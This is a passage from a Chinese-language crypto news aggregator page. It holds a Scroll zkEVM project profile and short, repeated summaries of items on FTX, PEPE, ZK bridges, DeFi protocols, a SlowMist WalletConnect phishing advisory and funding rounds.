zk-Rollup，即无限趋近于以太坊，达到与EVM规范完全一致，实现与EVM的最大兼容。Scroll项目的最大特色和优势即是实现字节码（ByteCode）级别的zkEVM兼容。其字节码兼容性意味着Solidity、Vyper和Huff开箱即用、无需重新审核、大多数现有工具都是继承的、与以太坊几乎相同的UX和DevX。 EVM等效是Scroll被看作“原生”性质的体现。和其它Layer2 ZK项目的对比能够更明显地看出Scroll的优势。 Zksync和Starkware只实现语言兼容，Scroll正在实现“原生”兼容。Zksync和Starkware虽已经开始支持一些通用的功能了，但在开发语言上，它们还不能很好做到EVM兼容（Starkware采用Cario语言，Zksync虽然实现了solidity兼容，但底层用的仍然是不同的虚拟机）。 二者的架构需要专门的编译器将智能合约代码编译成新的zk友好的IR，意味着这种方法只是达到语言兼容而不是原生EVM兼容。 2021年年初，Scroll三位联合创始人在以太坊社区相遇，创立了Scroll项目。 2022年7月19日，Scroll为外部测试人员发布pre-alpha 测试网，快速获得社区反馈。 2022年11月24日， Scroll与零知识证明隐私DID 项目zCloak达成合作关系，开发基于以太坊 L2 的与 W3C 兼容的可信 DID 系统。 2023年2月1日，Scroll表示已在测试网上部署 Uniswap V3 的前端，开发者与用户可参与体验。 2023年2月28日，Scroll在Goerli 测试网上发布以太坊 Layer 2 网络的测试网版本，将 zk-EVM 从 pre-alpha 转移到 alpha 测试阶段，这是主网之前的最后阶段。 2023年3月8日，Scroll受到OKX Ventures 投资，支持 Scroll 改善以太坊性能问题。 2023年4月4日，基于Scroll构建的跨Rollup订单簿DEX Zada Finance 宣布上线 Scroll 测试网，支持账户抽象钱包。这是Scroll上第一个原生的开源跨 Rollup DEX。 2023年4月10日，Scroll联合创始人Sandy Peng 在“FORESIGHT 2023”年度峰会上表示，近期可能会推出激励生态发展的合作伙伴计划，未来三到四个月将上线主网。 五、团队背景 Scroll创立于2021年年初，由张烨（Ye Zhang）、Sandy Peng及Haichen Shen联合创立。 张烨本科在北京大学就读，从2018年开始从事ZK证明方面的工作，主要在研究zk证明硬件加速和zk密码学算法原理，博士阶段也是zk方向。他在了解ZK-proof效率低下问题可以通过在密码学和硬件层面解决后，在2021年初在以太坊社区结识了另外两位联合创始人，三人决定使用ZK技术建设以太坊扩容的未来。 Haichen本科就读于清华姚班，博士毕业于华盛顿大学，研究方向偏向底层系统领域。毕业后在亚马逊从事搭建机器学习系统等方面的工作，工程能力强，擅长将理论进行实践搭建。 Sandy毕业于剑桥大学，曾在香港证监会从事研究方面的工作，17 年开始涉足Web3 项目投资领域，之前也做过游戏、产品类的项目。目前在团队负责非技术领域的工作，熟悉初创团队的品牌运营。 Scroll非常重视技术基础。2022年，团队规模为40余人，其中超过30位都是ZK或者区块链研究员和开发者。可以说整个团队目前技术性还比较强，负责生态运营的非技术工作成员相对较少。 此外，团队也比较“去中心化”，成员分散在中国、美国、新加坡、欧洲等世界各地。 2022年4月21日，Scroll完成 3000 万美元 A 轮融资，Polychain Capital 领投，Bain Capital Crypto、Robot Ventures、Geometry DAO、以太坊基金会 Ying Tong 和 Carlos Aria等天使投资人及Anthony Sassal、Ryan Adams 和 Santiago Santos以太坊社区成员参投。 2023年3月，Scroll宣布融资了5000 万美元，投资者包括Polychain Capital、红杉中国、贝恩资本 Crypto、摩尔资本管理公司、OKX Ventures、Variant Fund、Newman Capital、IOSG Ventures 和启明创投。本轮融资将用于产品开发、启动主网以及扩展生态，并计划将团队规模从 60 人增加到近 100 人。 此轮融资使Scroll项目的估值达到 18 亿美元，加上从天使投资者处融资约300 万美元，其融资总额达到8300万美元。 2022年8月，Scroll启动了Pre-Alpha测试网，得到了超过100000名用户社区的支持。迄今为止已处理了超过15400000个交易并证明了1800000个块。有超过641000批次被提交作为有效性证明，并由Scroll在L1上的Rollup合约进行最终确认。 2023年2月27日，Scroll团队宣布Alpha测试网已经在Goerli上线，标志着Scroll发展历程中一个重要时刻，意味着开发人员在Scroll网络部署应用程序完全无需许可，任何人都可以尝试使用Scroll技术并将其推向极限。 在ZK领域，Scroll实现了新的三层聚合电路原型，降低了Solidity验证者合约的 gas 成本。 Scroll暂未发布Token经济模型。 当前，Scroll项目正处在Alpha Testnet阶段，预计三、四个月后进入主网阶段。 分析Scroll项目的基本面，需要了解Scroll项目的两个明确目标，一是EVM等效，另外一个是全面的去中心化。 EVM等效前文有所论述，即与以太坊L1网络实现Byte（字节）级别的兼容性，Scroll的EVM操作和以太坊L1基础层趋近相同。这意味着开发者的代码在Scroll和在以太坊上的执行效果是一样的。 全面的去中心化是指不仅证明者要去中心化（Prover），还需要节点运营商、开发者和用户社区去中心化。这都是为了让更多人参与Scroll生态，任何一个普通用户都可以成为Scroll的信徒，契合以太坊“去中心化”的价值。 在这方面，Scroll和Zksync、StarkNet的对比可以更明显地看出这一点的优势。 Zksync和StarkNet的Sequencer和Prover都由官方团队运营，出块、验证、打包都由项目方负责，代码没有开源，也没有搭建好去中心化的矿工节点，社区无法参与。二者的中心化模式导致的一个问题是：所有的算力都控制在团队自己手里，意味着团队要租机器来持续承担这部分的成本。 从项目运营角度看，去中心化的程度越多更有利于项目本身。因为加入的节点越多，算力就越大，成本就会降低，运转更高效。实现更小的经济成本和更高效的工作效率， EVM等效和全面去中心化是Scroll正在做的事情。 当ZK Rollups（ZKRs）技术大规模运行时，加密生态系统乃至整个世界都将获得基于该技术的实质性进步。而Rollup又是当前被大规模采用的以太坊扩容技术，基于以太坊的庞大生态价值必然延申至Layer2项目。Scroll的EVM等效及全面去中心化的优势和特色必然使其获得价值的优先选择。 以合作项目Intmax选择Scroll为例，Intmax认为结合了高扩展性和可定制化隐私的自身无状态（验证器不保留任何数据，以实现排序的去中心化）zkRollup，在没有自身VM（虚拟机）的情况下，能够与Scroll的zkEVM rollup集成为生态系统为其提供优势。 Leyer2项目的应用价值还有待市场验证，ZK技术的大规模落地应用也还需要实践检验，这是Scroll和其它Layer2项目共同面对的未明朗的局。 和zkSync及StarWare相比，Scroll项目的生态部署还比较稀少，这也意味着在生态项目合作上，更多第三方项目选择前者，认同前者在基础设施建设、资金体量及相对完整的生态链方面更具优势，这是Scroll的不足之处，也是大家需谨慎选择该项目的原因之一。 参考： https://www.chaincatcher.com/article/2078499 https://scroll.io/blog 声明：web3中文编辑作品，内容仅代表作者立场，且不构成投资建议，请谨慎对待，如文章/素材有侵权，请联系官方客服处理。  ( 3 min )
    FTX无担保债权人官方委员会：目前没有重启或出售交易所的明确时间表
    PANews 4月19日消息，FTX无担保债权人官方委员会推特发文称，正在与债务人合作，评估重启或出售FTX并为债权人创造价值的所有选项，目前还没有重启或出售交易所的明确时间表。在正式程序启动之前，有兴趣购买或赞助FTX交易所重启的各方应联系债务人和委员会。委员会将继续向债权人通报最新进展。据彭博社此前报道，FTX重启运营的计划已经吸引了风投公司Tribe capital的竞标。Tribe正在考虑领投2.5亿美元的融资，其中1亿美元来自Tribe。在去年11月FTX崩盘之前，Tribe的投资组合包括FTX。一位消息人士表示，今年1月，Tribe Capital的联合创始人Arjun Sethi已经会见了FTX的无担保债权人委员会，并讨论了一项非正式收购计划。  ( 1 min )

  • Open

    数据分析：4 天 6000 倍的 MEME 币 PEPE 是不是庞氏骗局？
    Chainfeeds 导读： 链上分析师 Eljulien 利用 Nansen 和 Dune Analytics 的 Token God 模式对 PEPE 的具体数据进行分析，包括 PEPE 的效用和代币经济学 、社交热度 、代币数据、 Smart Money 行为模式、结论及警告 5 方面。金色财经对该推特进行编译并发布。 文章来源： https://www.jinse.com/blockchain/3428398.html 文章作者： Eljulien 观点： Eljulien：PEPE 总供应量 42.69 万亿枚，其中 93.1%（391.66 万亿枚）供给流动性池（LP 代币销毁），6.9%（29.03 万亿枚）分配给团队。代币效用为零。当前 Uni_V2 池中有 7.71 万亿枚，Uni_V3 池中有 4.1 万亿枚，团队钱包中有 27.83 万亿枚。 内容来源 Eljulien：最近几天，人们对 meme 币的普遍情绪越来越高涨。PEPE 在 dexscrener 和 dextool 上大热，社会主导性日益增强。持有者数量不断增加，目前已超 2 万。首批买入 PEPE 的钱包中，许多钱包在 20 秒内以极低的价格同时买入超 70T 枚。 内容来源 Eljulien：首批买家里实际上有很多都是同一人，只是把购买分成若干投资组合。其中许多人从 ByBit 获得少量 ETH（约 150 美元），并购买了数万亿枚 PEPE，现在价值数百万美元。只有少数 Smart Money 出售了全部的 PEPE，此外大多数人没有抛售。PEPE 看起来完全是一个庞氏骗局。我并不是说它现在就会面临抛售，因为鲸鱼钱包仍在持有，但现在这似乎成了一个危险的游戏。 内容来源  ( 2 min )
    数据分析：4 天 6000 倍的 MEME 币 PEPE 是不是庞氏骗局？
    Chainfeeds 导读： 链上分析师 Eljulien 利用 Nansen 和 Dune Analytics 的 Token God 模式对 PEPE 的具体数据进行分析，包括 PEPE 的效用和代币经济学 、社交热度 、代币数据、 Smart Money 行为模式、结论及警告 5 方面。金色财经对该推特进行编译并发布。 文章来源： https://www.jinse.com/blockchain/3428398.html 文章作者： Eljulien 观点： Eljulien：PEPE 总供应量 42.69 万亿枚，其中 93.1%（391.66 万亿枚）供给流动性池（LP 代币销毁），6.9%（29.03 万亿枚）分配给团队。代币效用为零。当前 Uni_V2 池中有 7.71 万亿枚，Uni_V3 池中有 4.1 万亿枚，团队钱包中有 27.83 万亿枚。 内容来源 Eljulien：最近几天，人们对 meme 币的普遍情绪越来越高涨。PEPE 在 dexscrener 和 dextool 上大热，社会主导性日益增强。持有者数量不断增加，目前已超 2 万。首批买入 PEPE 的钱包中，许多钱包在 20 秒内以极低的价格同时买入超 70T 枚。 内容来源 Eljulien：首批买家里实际上有很多都是同一人，只是把购买分成若干投资组合。其中许多人从 ByBit 获得少量 ETH（约 150 美元），并购买了数万亿枚 PEPE，现在价值数百万美元。只有少数 Smart Money 出售了全部的 PEPE，此外大多数人没有抛售。PEPE 看起来完全是一个庞氏骗局。我并不是说它现在就会面临抛售，因为鲸鱼钱包仍在持有，但现在这似乎成了一个危险的游戏。 内容来源  ( 2 min )
    LK Venture：ZK Bridge 能否成就「跨链大战终局」？
    Chainfeeds 导读： 行业普遍的共识之一是，未来或将是多链共存的格局，跨链甚至全链则是多链生态中最关键的一环。然而，如今跨链桥安全问题频发，跨链生态似乎岌岌可危。ZK Bridge 的出现将有效解决当前跨链方案的多种缺陷，让万链互联成为可能。LK venture 投研团队对 ZK Bridge 赛道进行全方位解析，对零知识证明技术在解决跨链安全性和高性能瓶颈问题上的发展空间进行展望。 文章来源： https://medium.com/@ConsensusLab1/lk-venture研报-zk-bridge能否成就-跨链大战终局-4b70c3387723 文章作者： LK Venture 观点： LK Venture：ZK Bridge 是使用零知识证明技术的跨链桥，不引入信任假设，适配多种同构 / 异构链，链下生成零知识证明，链上只负责验证，大大降低链上计算和存储成本，具有零信任、无许可、可拓展、高效率的特性。当前跨链桥的中心化问题和信任假设导致安全性不足，漏洞频出造成严重损失；而重视安全性的跨链桥，则效率低下，成本较高。ZK Bridge 则可以同时保有安全性、去中心化和高效率。 内容来源 LK Venture：使用基于 ZK-SNARK 的轻节点方案可以实现 ZK Bridge。轻节点是轻量化的节点，它不存储完整区块的序列，而仅存储区块头的序列。轻节点跨链的基本原理是在目标链部署源链的轻节点合约，对源链来的消息进行验证。如果要实现双向跨链，就需要在两条链上互相部署对方链的轻节点合约。相关项目包括 Succinct、zkBridge 和 zkIBC 等。 内容来源 LK Venture：区块链技术发展到一定阶段，通常会演化成为关于取舍的哲学。跨链存在着安全 - 效率的两难困境：追求效率，则会引入第三方信任假设，导致安全性受损；追求安全，使用完全轻节点与中继的方案，则会招致高昂的链上严重费用。随着技术不断进步，ZK 方案可用性逐渐增强，ZK Rollup 有望在 2023 年下半年投入大规模使用，ZK Bridge 也方兴未艾。希望 ZK Bridge 技术的成熟能够打破跨链的两难困境，让万链互联的愿景得以实现。 内容来源  ( 5 min )
    LK Venture：ZK Bridge 能否成就「跨链大战终局」？
    Chainfeeds 导读： 行业普遍的共识之一是，未来或将是多链共存的格局，跨链甚至全链则是多链生态中最关键的一环。然而，如今跨链桥安全问题频发，跨链生态似乎岌岌可危。ZK Bridge 的出现将有效解决当前跨链方案的多种缺陷，让万链互联成为可能。LK venture 投研团队对 ZK Bridge 赛道进行全方位解析，对零知识证明技术在解决跨链安全性和高性能瓶颈问题上的发展空间进行展望。 文章来源： https://medium.com/@ConsensusLab1/lk-venture研报-zk-bridge能否成就-跨链大战终局-4b70c3387723 文章作者： LK Venture 观点： LK Venture：ZK Bridge 是使用零知识证明技术的跨链桥，不引入信任假设，适配多种同构 / 异构链，链下生成零知识证明，链上只负责验证，大大降低链上计算和存储成本，具有零信任、无许可、可拓展、高效率的特性。当前跨链桥的中心化问题和信任假设导致安全性不足，漏洞频出造成严重损失；而重视安全性的跨链桥，则效率低下，成本较高。ZK Bridge 则可以同时保有安全性、去中心化和高效率。 内容来源 LK Venture：使用基于 ZK-SNARK 的轻节点方案可以实现 ZK Bridge。轻节点是轻量化的节点，它不存储完整区块的序列，而仅存储区块头的序列。轻节点跨链的基本原理是在目标链部署源链的轻节点合约，对源链来的消息进行验证。如果要实现双向跨链，就需要在两条链上互相部署对方链的轻节点合约。相关项目包括 Succinct、zkBridge 和 zkIBC 等。 内容来源 LK Venture：区块链技术发展到一定阶段，通常会演化成为关于取舍的哲学。跨链存在着安全 - 效率的两难困境：追求效率，则会引入第三方信任假设，导致安全性受损；追求安全，使用完全轻节点与中继的方案，则会招致高昂的链上严重费用。随着技术不断进步，ZK 方案可用性逐渐增强，ZK Rollup 有望在 2023 年下半年投入大规模使用，ZK Bridge 也方兴未艾。希望 ZK Bridge 技术的成熟能够打破跨链的两难困境，让万链互联的愿景得以实现。 内容来源  ( 5 min )
    【英文长推】全方位解析 Hermes Protocol：项目机制、代币经济学、V2...
    Chainfeeds 导读： Hermes Protocol 是一个基于 Metis 的 AMM DEX，即将推出 V2 版本。加密研究员 francesco 对 Hermes 的主要特点、代币经济学以及 V2 版本中做出的改进等进行详细介绍。 文章来源： https://twitter.com/francescoglt/status/1648332128504139776 文章作者： francesco 观点： francesco：Hermes Protocol 是 Metis 上基于 Solidly Fork 的 AMM DEX，于 2022 年 3 月推出，拥有低费用和滑点，允许 Metis 用户提供流动性、添加新 Gauge、提高 Gauge 产量，对代币排放进行投票并接受贿赂。Hermes 基于 Andre Cronje 的「费用激励机制」：每次交易发生时，LP 从排放中获得 HERMES，而 FEES 转而流向投票给该池的 Stakers 和 Lockers。【原文为英文】 内容来源 francesco：Hermes 的功能包括：原生支持不相关资产之间的互换；原生支持第三方代币：项目方可以在 HERMES 排放的基础上用其代币奖励 LPs；仅收取 0.01% 手续费，以基础资产形式支付；兼容 Uniswap V2；ve (3,3) 代币模型与 veHermes：排放直接与锁定代币相关；对 Gauges & Bribes 的无许可支持；排放激励费用而不是流动性。HERMES 代币主要用于投票、质押和提高奖励。用户可以将 Hermes 锁定为 veHERMES，奖励由锁定期长短决定。veHERMES 持有者不会被稀释，因为其 HERMES 余额会与通货膨胀（排放）成比例增长。【原文为英文】 内容来源 francesco：Hermes 即将推出 V2，引入多项改进，特别是全链流动性、租赁流动性和收益市场。Hermes V2 引入了自动复利版本的 bHERMES，可以最大化投票权并提高奖励，允许用户永久收取费用。V2 在可定制性和效率方面改进了 Gauge，引入了由 bHERMES 管理的收益和流动性市场。可以创建的自定义 Gauge 包括：1）货币市场：用户可以在其中交易其存入资产的贷款收益率；2）Yearn 金库：为单一代币存款创建 Gauge；3）vlCVX：从贿赂中获得收入。【原文为英文】 内容来源 francesco：从代币经济学和博弈论的角度来看，Hermes 是一个非常有趣的项目。一旦更多的流动性和 TVL 被连接到 Metis，它们的机制就会真正开始起飞；目前，超过 70% 的 HERMES 总供应量被锁定，证明了用户对代币模型的热情，愿意锁定其代币以获得投票权、奖励和收益提升；Metis 生态系统将受益于 4 月或 5 月 Aave 的部署，这将为该链提供更多流动性，并为协议提供更多可组合性。【原文为英文】 内容来源  ( 2 min )
    【英文长推】全方位解析 Hermes Protocol：项目机制、代币经济学、V2...
    Chainfeeds 导读： Hermes Protocol 是一个基于 Metis 的 AMM DEX，即将推出 V2 版本。加密研究员 francesco 对 Hermes 的主要特点、代币经济学以及 V2 版本中做出的改进等进行详细介绍。 文章来源： https://twitter.com/francescoglt/status/1648332128504139776 文章作者： francesco 观点： francesco：Hermes Protocol 是 Metis 上基于 Solidly Fork 的 AMM DEX，于 2022 年 3 月推出，拥有低费用和滑点，允许 Metis 用户提供流动性、添加新 Gauge、提高 Gauge 产量，对代币排放进行投票并接受贿赂。Hermes 基于 Andre Cronje 的「费用激励机制」：每次交易发生时，LP 从排放中获得 HERMES，而 FEES 转而流向投票给该池的 Stakers 和 Lockers。【原文为英文】 内容来源 francesco：Hermes 的功能包括：原生支持不相关资产之间的互换；原生支持第三方代币：项目方可以在 HERMES 排放的基础上用其代币奖励 LPs；仅收取 0.01% 手续费，以基础资产形式支付；兼容 Uniswap V2；ve (3,3) 代币模型与 veHermes：排放直接与锁定代币相关；对 Gauges & Bribes 的无许可支持；排放激励费用而不是流动性。HERMES 代币主要用于投票、质押和提高奖励。用户可以将 Hermes 锁定为 veHERMES，奖励由锁定期长短决定。veHERMES 持有者不会被稀释，因为其 HERMES 余额会与通货膨胀（排放）成比例增长。【原文为英文】 内容来源 francesco：Hermes 即将推出 V2，引入多项改进，特别是全链流动性、租赁流动性和收益市场。Hermes V2 引入了自动复利版本的 bHERMES，可以最大化投票权并提高奖励，允许用户永久收取费用。V2 在可定制性和效率方面改进了 Gauge，引入了由 bHERMES 管理的收益和流动性市场。可以创建的自定义 Gauge 包括：1）货币市场：用户可以在其中交易其存入资产的贷款收益率；2）Yearn 金库：为单一代币存款创建 Gauge；3）vlCVX：从贿赂中获得收入。【原文为英文】 内容来源 francesco：从代币经济学和博弈论的角度来看，Hermes 是一个非常有趣的项目。一旦更多的流动性和 TVL 被连接到 Metis，它们的机制就会真正开始起飞；目前，超过 70% 的 HERMES 总供应量被锁定，证明了用户对代币模型的热情，愿意锁定其代币以获得投票权、奖励和收益提升；Metis 生态系统将受益于 4 月或 5 月 Aave 的部署，这将为该链提供更多流动性，并为协议提供更多可组合性。【原文为英文】 内容来源  ( 2 min )
    慢雾：警惕 Web3 钱包 WalletConnect 钓鱼风险
    Chainfeeds 导读： 2023 年 1 月 30 日，慢雾安全团队发现 Web3 钱包上关于 WalletConnect 使用不当可能存在被钓鱼的安全风险问题。这个问题存在于使用移动端钱包 App 内置的 DApp Browser + WalletConnect 的场景下。慢雾安全团队撰文对该风险进行具体分析介绍，并提醒用户及钱包项目方进行相关风险防范。 文章来源： https://mp.weixin.qq.com/s/cnZQ_sSZybpdwO0xUg3npg 文章作者： 慢雾安全团队 观点： 慢雾安全团队：这个安全问题的核心是用户切换 DApp Browser 界面到其他界面后，是否应继续自动弹窗响应来自 DApp Browser 界面的请求，尤其是敏感操作请求。因为跨界面后盲目弹窗响应很容易导致用户的误操作。这里面涉及到一个安全原则：WalletConnect 连接后，钱包在检测到用户切换 DApp Browser 界面到其他界面后，应该对来自 DApp Browser 的弹窗请求不进行处理。 内容来源 慢雾安全团队：对个人用户来说，风险主要在「域名、签名」两个核心点，WalletConnect 这种钓鱼方式早已被很多恶意网站用于钓鱼攻击，使用时务必保持高度警惕；对钱包项目方来说，首先是需要进行全面的安全审计，重点提升用户交互安全部分，减少用户被钓鱼风险，如：钓鱼网站提醒、签名的识别和提醒、加强所见即所签机制、预执行机制、尾号相同的诈骗提醒以及 AML 合规提醒等。 内容来源  ( 33 min )
    慢雾：警惕 Web3 钱包 WalletConnect 钓鱼风险
    Chainfeeds 导读： 2023 年 1 月 30 日，慢雾安全团队发现 Web3 钱包上关于 WalletConnect 使用不当可能存在被钓鱼的安全风险问题。这个问题存在于使用移动端钱包 App 内置的 DApp Browser + WalletConnect 的场景下。慢雾安全团队撰文对该风险进行具体分析介绍，并提醒用户及钱包项目方进行相关风险防范。 文章来源： https://mp.weixin.qq.com/s/cnZQ_sSZybpdwO0xUg3npg 文章作者： 慢雾安全团队 观点： 慢雾安全团队：这个安全问题的核心是用户切换 DApp Browser 界面到其他界面后，是否应继续自动弹窗响应来自 DApp Browser 界面的请求，尤其是敏感操作请求。因为跨界面后盲目弹窗响应很容易导致用户的误操作。这里面涉及到一个安全原则：WalletConnect 连接后，钱包在检测到用户切换 DApp Browser 界面到其他界面后，应该对来自 DApp Browser 的弹窗请求不进行处理。 内容来源 慢雾安全团队：对个人用户来说，风险主要在「域名、签名」两个核心点，WalletConnect 这种钓鱼方式早已被很多恶意网站用于钓鱼攻击，使用时务必保持高度警惕；对钱包项目方来说，首先是需要进行全面的安全审计，重点提升用户交互安全部分，减少用户被钓鱼风险，如：钓鱼网站提醒、签名的识别和提醒、加强所见即所签机制、预执行机制、尾号相同的诈骗提醒以及 AML 合规提醒等。 内容来源  ( 33 min )
    【长推】BLUR 鲸鱼地址代币来源及持币成本分析
    Chainfeeds 导读： 加密研究员余烬整理了目前持有一百万枚以上 BLUR 的鲸鱼地址（排除交易所、项目方、做市商、合约地址），分析其代币来源、数量与成本。这些信息一定程度反映了 BLUR 持币者的成本区间，可以为读者后续操作提供参考。 文章来源： https://twitter.com/BitcoinEmber/status/1648266064197992449 文章作者： Bit余烬  ( 2 min )
    【长推】BLUR 鲸鱼地址代币来源及持币成本分析
    Chainfeeds 导读： 加密研究员余烬整理了目前持有一百万枚以上 BLUR 的鲸鱼地址（排除交易所、项目方、做市商、合约地址），分析其代币来源、数量与成本。这些信息一定程度反映了 BLUR 持币者的成本区间，可以为读者后续操作提供参考。 文章来源： https://twitter.com/BitcoinEmber/status/1648266064197992449 文章作者： Bit余烬  ( 2 min )
    【英文】全面解析链上永续格局：dYdX、GMX、Gains Network、Kwenta…
    Chainfeeds 导读： 加密研究员 Thor Hartvigsen 发推概览去中心化永续格局，并对 dYdX、GMX、Gains Network、Kwenta 等交易平台进行全面比较，认为去中心化永续领域有望在未来几年实现 10-20 倍的增长。 文章来源： https://thorhartvigsen.substack.com/p/a-comprehensive-analysis-of-the-on 文章作者： Thor Hartvigsen 观点： Thor Hartvigsen：dYdX：总交易量 9130 亿美元、14 天交易量 121.5 亿美元、14 天费用 324 万美元。dYdX 目前在 Starkware 开发的自定义 L2 上运行，今年晚些时候将转移到 Cosmos 生态的应用链上（dYdX V4）。V4 版本中，dYdX 验证器将运行一个链上去中心化订单簿和匹配引擎。目前的测试已经达到了 500+TPS。上线后，手续费收入不会分配给中心化实体。【原文为英文】 内容来源 Thor Hartvigsen：GMX：总交易量 1000.5 亿美元、14 天交易量 49.3 亿美元、总费用 1.482 亿美元、14 天费用 743 万美元。GMX 去年引领了链上 perps 叙事。尽管过去几个月有许多新的竞争者，GMX 的日交易量、用户和费用仍在继续增长。GMX V2 可能会在第二或三季度发布，届时将引入交易合成资产的能力。此外，GMX V2 将采用 Chainlink 低延迟预言机以更好的获得实时市场数据，将为每个交易对提供单独流动性以隔离风险，GLP 将在 V2 后逐步淘汰。【原文为英文】 内容来源 Thor Hartvigsen：Gains Network：总交易量 350 亿美元、14 天交易量 18 亿美元、总费用 2540 万美元、14 天费用 160 万美元。1 月部署在 Arbitrum 后，Gains Network 的日交易量通过跨链交易有了大幅增长。3 个月后，约 80% 的交易量发生在 Arbitrum 上。Gains Network 的 gDAI 金库将用户的流动性份额代币化，允许他们将其存入 AMM 和借贷协议等，上线以来获得了大量流动性流入。【原文为英文】 内容来源 Thor Hartvigsen：Kwenta：总交易量 64 亿美元、14 天交易量 5 亿美元、总费用 1260 万美元、14 天费用 80 万美元。Kwenta 在 2 月推出了 V2，其中包含大量新的可交易资产，此后交易量大幅增加。Kwenta 利用 Synthetix 作为永续衍生品交易的流动性层。随着 Synthetix V3 推出，更多资产作为 sUSD 的抵押品，Kwenta 的流动性将更深。【原文为英文】 内容来源  ( 30 min )
    【英文】全面解析链上永续格局：dYdX、GMX、Gains Network、Kwenta…
    Chainfeeds 导读： 加密研究员 Thor Hartvigsen 发推概览去中心化永续格局，并对 dYdX、GMX、Gains Network、Kwenta 等交易平台进行全面比较，认为去中心化永续领域有望在未来几年实现 10-20 倍的增长。 文章来源： https://thorhartvigsen.substack.com/p/a-comprehensive-analysis-of-the-on 文章作者： Thor Hartvigsen 观点： Thor Hartvigsen：dYdX：总交易量 9130 亿美元、14 天交易量 121.5 亿美元、14 天费用 324 万美元。dYdX 目前在 Starkware 开发的自定义 L2 上运行，今年晚些时候将转移到 Cosmos 生态的应用链上（dYdX V4）。V4 版本中，dYdX 验证器将运行一个链上去中心化订单簿和匹配引擎。目前的测试已经达到了 500+TPS。上线后，手续费收入不会分配给中心化实体。【原文为英文】 内容来源 Thor Hartvigsen：GMX：总交易量 1000.5 亿美元、14 天交易量 49.3 亿美元、总费用 1.482 亿美元、14 天费用 743 万美元。GMX 去年引领了链上 perps 叙事。尽管过去几个月有许多新的竞争者，GMX 的日交易量、用户和费用仍在继续增长。GMX V2 可能会在第二或三季度发布，届时将引入交易合成资产的能力。此外，GMX V2 将采用 Chainlink 低延迟预言机以更好的获得实时市场数据，将为每个交易对提供单独流动性以隔离风险，GLP 将在 V2 后逐步淘汰。【原文为英文】 内容来源 Thor Hartvigsen：Gains Network：总交易量 350 亿美元、14 天交易量 18 亿美元、总费用 2540 万美元、14 天费用 160 万美元。1 月部署在 Arbitrum 后，Gains Network 的日交易量通过跨链交易有了大幅增长。3 个月后，约 80% 的交易量发生在 Arbitrum 上。Gains Network 的 gDAI 金库将用户的流动性份额代币化，允许他们将其存入 AMM 和借贷协议等，上线以来获得了大量流动性流入。【原文为英文】 内容来源 Thor Hartvigsen：Kwenta：总交易量 64 亿美元、14 天交易量 5 亿美元、总费用 1260 万美元、14 天费用 80 万美元。Kwenta 在 2 月推出了 V2，其中包含大量新的可交易资产，此后交易量大幅增加。Kwenta 利用 Synthetix 作为永续衍生品交易的流动性层。随着 Synthetix V3 推出，更多资产作为 sUSD 的抵押品，Kwenta 的流动性将更深。【原文为英文】 内容来源  ( 30 min )
    CoinGecko 2023 年 Q1 报告 ：行业是否已经回暖？
    Chainfeeds 导读： CoinGecko 出品的 2023 年 Q1 加密行业报告，涵盖了加密市场格局，以及比特币和以太坊的分析，深入探讨 DeFi 和 NFT 生态系统，并回顾了 CEX 和 DEX 的表现。中文版由深潮 TechFlow 编译发布。 文章来源： https://www.techflowpost.com/article/detail_11737.html 文章作者： CoinGecko 观点： CoinGecko：1）加密货币市场开年强劲，涨幅达 48.9%，总市值达 1.2 万亿美元；2）比特币跑赢传统资产类别，涨幅达 72.4%；3）稳定币损失 62 亿美元，下降 4.5％，其中 USDC 和 BUSD 跌幅最大；4）DeFi 生态系统增长 65.2%，达 296 亿美元，流动性质押板块增长 210.9%；5）NFT 交易量回升至 45 亿美元，Blur 超越 OpenSea 成为顶级 NFT 市场；6）第一季度加密货币现货交易量增长 18.1%，达 2.8 万亿美元，DEX 季度增长超过 CEX。 内容来源 ChainFeeds：完整报告：https://assets.coingecko.com/reports/2023/CoinGecko-2023-Q1-Report.pdf 内容来源  ( 2 min )
    CoinGecko 2023 年 Q1 报告 ：行业是否已经回暖？
    Chainfeeds 导读： CoinGecko 出品的 2023 年 Q1 加密行业报告，涵盖了加密市场格局，以及比特币和以太坊的分析，深入探讨 DeFi 和 NFT 生态系统，并回顾了 CEX 和 DEX 的表现。中文版由深潮 TechFlow 编译发布。 文章来源： https://www.techflowpost.com/article/detail_11737.html 文章作者： CoinGecko 观点： CoinGecko：1）加密货币市场开年强劲，涨幅达 48.9%，总市值达 1.2 万亿美元；2）比特币跑赢传统资产类别，涨幅达 72.4%；3）稳定币损失 62 亿美元，下降 4.5％，其中 USDC 和 BUSD 跌幅最大；4）DeFi 生态系统增长 65.2%，达 296 亿美元，流动性质押板块增长 210.9%；5）NFT 交易量回升至 45 亿美元，Blur 超越 OpenSea 成为顶级 NFT 市场；6）第一季度加密货币现货交易量增长 18.1%，达 2.8 万亿美元，DEX 季度增长超过 CEX。 内容来源 ChainFeeds：完整报告：https://assets.coingecko.com/reports/2023/CoinGecko-2023-Q1-Report.pdf 内容来源  ( 2 min )
    做市商协议 Swaap 完成 450 万美元种子轮融资，Signature Ventures 领投
    做市商协议 Swaap 完成 450 万美元种子轮融资，Signature Ventures 领投 做市商协议 Swaap 宣布完成 450 万美元种子轮融资，Signature Ventures 领投，New Form Capital、C²Ventures、Kima Ventures、Pareto Ventures、Entrepreneur First，以及 Julien Bouteloup（Stake Capital）、Pascal Gauthier（Ledger CEO）、Richard Ma（Quantstamp CEO）、Tegan Kline（The Graph）、Meltem Demirors（Coinshares CSO）、Frederic Montagnon（Arianee 联合创始人）和 Thibaud Elzière（eFounders CEO）等天使投资人参投。 Swaap 构建了下一代做市商协议，利用预言机和动态价差的组合实现可持续收益并降低交易成本。其独特的方法旨在为 LP 提供被动和盈利的做市策略，以解决 DeFi 中普遍存在的无常损失这一关键问题。 内容来源 观点： Cyrille Pastour：在我们努力使 DeFi 民主化并为流动性提供者创造一个更高效的环境时，我们很高兴得到了投资者的支持。这笔资金将使我们能够加快 Swaap v2 的开发和发布，它有望为 DeFi 生态系统中的 LP 和交易者提供更多价值。【原文为英文】 内容来源 Dr. Georg (Juri) Stricker：我们很自豪能与 Swaap Labs 的优秀团队合作，并成为他们旅程的一部分。我们认为 Swaap 的做市商协议是 DeFi 真正的游戏规则改变者。Swaap 建立在可扩展性越来越强的公链基础设施以及更加透明和强大的预言机基础设施之上，正在为流动性提供者和交易者设定 DEX 效率的新标准。通过提供更稳定的收益和可持续的回报，我们相信 Swaap 是 DeFi 向金融系统发展的一个重要基石。【原文为英文】 内容来源  ( 57 min )
    做市商协议 Swaap 完成 450 万美元种子轮融资，Signature Ventures 领投
